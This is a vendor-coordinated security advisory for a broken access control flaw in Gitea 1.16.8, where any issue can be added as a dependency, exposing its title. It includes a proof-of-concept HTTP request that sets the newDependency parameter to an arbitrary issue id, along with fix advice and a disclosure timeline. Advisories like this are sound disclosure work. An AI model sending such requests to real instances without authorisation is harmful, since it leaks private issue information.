usd-2022-0024 | Broken Access Control in Gitea Issue Dependencies

Advisory ID: usd-2022-0024
Product: Gitea
Affected Version: 1.16.8
Vulnerability Type:https://cwe.mitre.org/data/definitions/284.html
Security Risk: Medium
Vendor URL: https://gitea.io/
Vendor Status: Fixed
Advisory Status: Closed
First Published: Not published yet
Last Update: 2022-06-30

Description

In Gitea issues can have dependencies to other issues. Due to improper access controls, users can add any issue as a dependency, which discloses the title of the issues.

Proof of Concept

By setting the newDependency parameter to any issue id the issue will be added as dependecy.

Exemplary request:

POST /testuser/test222/issues/2/dependency/add HTTP/1.1
Host: localhost:3000
Content-Length: 76
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XXXX
Connection: close

_csrf=NG[REDACTED]&newDependency=7

Fix

It is recommended to restrict access to sensitive functions or information by default.
Required access privileges should be granted explicitly by a global access control mechanism.

References

Timeline

  • 2022-06-22: vulnerability identified by Christian Pöschl
  • 2022-06-22: First contact request
  • 2022-07-01: Investigation started by vendor
  • 2022-07-15: Vendor confirms remediation
  • 2024-05-29: This advisory is published

Credits

This security vulnerability was identified by Christian Pöschl of usd AG.